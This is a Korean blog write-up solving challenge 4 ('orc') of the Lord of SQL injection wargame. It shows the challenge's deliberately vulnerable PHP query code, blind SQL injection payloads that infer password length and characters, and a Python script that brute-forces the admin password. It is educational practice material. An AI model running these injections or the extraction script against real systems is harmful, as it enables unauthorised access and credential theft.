문제 4번 - orc
query : select id from prob_orc where id='admin' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
이번에도 마찬가지로 php코드가 주어져있다. (LOS문제들은 다 주어진거 일지도?)
먼저 필터링 함수를 확인해보면 pw를 받는 변수에 prob와, _ , . , ( , )을 필터링하고 i를 통해 대소문자를 구별하지 않는 것을 확인할 수 있다.
<?php
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
?>
또 clear 조건을 확인하기 위해 조건문 코드를 계속 확인해보니 이전 문제들과는 다르게 비밀번호가 필요하다는 것을 알 수 있다. 아마도 비밀번호를 찾아서 입력해야 clear할 수 있나보다.
<?php
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
이럴 때는 비밀번호를 무작정 찾기 보다는 비밀번호의 크기를 먼저 찾을 수 있으면 찾는 것이 중요한데 아래 코드를 확인 해보면 참인 값이 주어졌을 때 Hello admin을 출력하는 것을 확인할 수 있다. 따라서 참일 때까지 비밀번호의 크기를 입력하여 찾아야한다.
<?php
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
?>
비밀번호의 크기를 찾기 위해서 사용할 문법은 문자열의 크기를 나타내는 length를 이용하였다.
비밀번호를 모르니 pw는 아무것이나 써주고 or 뒤에 id는 admin이면서 pw의 길이를 1부터 하나씩 대입해보았다.
ex) pw=1' or id = 'admin' and length(pw)=1%23
위 예시에서는 아무것도 출력되지 않았는데 pw의 길이를 8이라고 입력하니 Hello admin이 출력되었다.
ex) pw=1' or id='admin' and length(pw)=8%23
이제 pw의 길이가 8이라는 것을 알아냈으니 여기서부터는 두 가지 방법을 이용해서 풀 수 있다. 하나는 파이썬 코드를 이용하여 반복문을 만들어 비밀번호를 찾아내는 것이고 하나는 pw의 한 글자마다의 범위를 유추하여 pw를 찾는 것이다. 이전에는 일일이 하나씩 찾아본 기억이 있으므로 예시 하나만 들어서 설명하고 파이썬을 이용해 풀어보도록 해야겠다.
먼저 일일이 하나씩 찾는 방법은 범위를 이용해서 푸는 것인데 해당 문자들이 아스키 코드 값으로 숫자의 범위를 갖는 것을 이용한다. or id='admin' and 이후에 ascii와 substr을 이용하는 것인데 substr은 문자열 안에서 해당하는 문자를 입력한 범위만큼 불러온다. 즉 첫 번째 인수는 불러올 문자열 두 번째 인수는 시작점 세 번째 인수는 끝나는 지점이다.
substr(pw,1,1)은 pw의 첫 번째 문자를 불러오는 것이다. 즉 ascii(substr(pw,1,1))을 하면 첫 번째 문자를 아스키 코드 값으로 변환해준다. 이것을 이용하여 해당 문자의 아스키코드가 '48보다 작을때는 참이 아닌데 49보다 작을 때는 참이다'라는 것을 이용하여 해당 문자의 아스키코드가 48이라는 것을 유추할 수 있다.
다음은 파이썬을 이용한 pw를 찾는 방법이다. 파이썬에 requests 모듈이 설치되어 있으면 가능한데 아래 코드는 비밀번호를 찾는 코드이다. (여러 곳에서 찾아서 작성해보았다.)
import requests
import string
url="https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=1'or "
cookie =dict(PHPSESSID="쿠키값")
char = string.digits+string.ascii_letters
result=""
for i in range(1,9):
for j in char:
param="ascii(mid(pw,"+str(i)+",1)) = "+str(ord(j))+"%23"
URL = url+param
response = requests.get(URL, cookies=cookie)
if response.text.find("Hello admin")>0:
print (j)
result += j
break
print("pw는",result,"입니다")
위 코드에 대한 설명은 너무 길어질거 같으니 다른 게시물에 소개를 해야겠다.
(쿠키는 크롬의 경우 화면에서 마우스 오른쪽 클릭 -> 검사 -> application -> cookies -> value 값 찾기 순서로 찾으면 됨)
저 코드를 이용하여 pw를 구하면 095a9852이다.
따라서 해당 주소 php 뒤에 pw=095a9852을 입력한다.
solve
https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=095a9852
'write-up > LOS write-up' 카테고리의 다른 글
LOS (Lord of SQL injection) 문제 6번 darkelf write-up (0) | 2021.07.06 |
---|---|
LOS (Lord of SQL injection) 문제 5번 wolfman write-up (0) | 2021.07.06 |
LOS (Lord of SQL injection) 문제 3번 goblin write-up (0) | 2021.07.06 |
LOS (Lord of SQL injection) 문제 2번 cobolt write-up (0) | 2021.07.05 |
LOS (Lord of SQL injection) 문제 1번 gremlin write-up (0) | 2021.07.05 |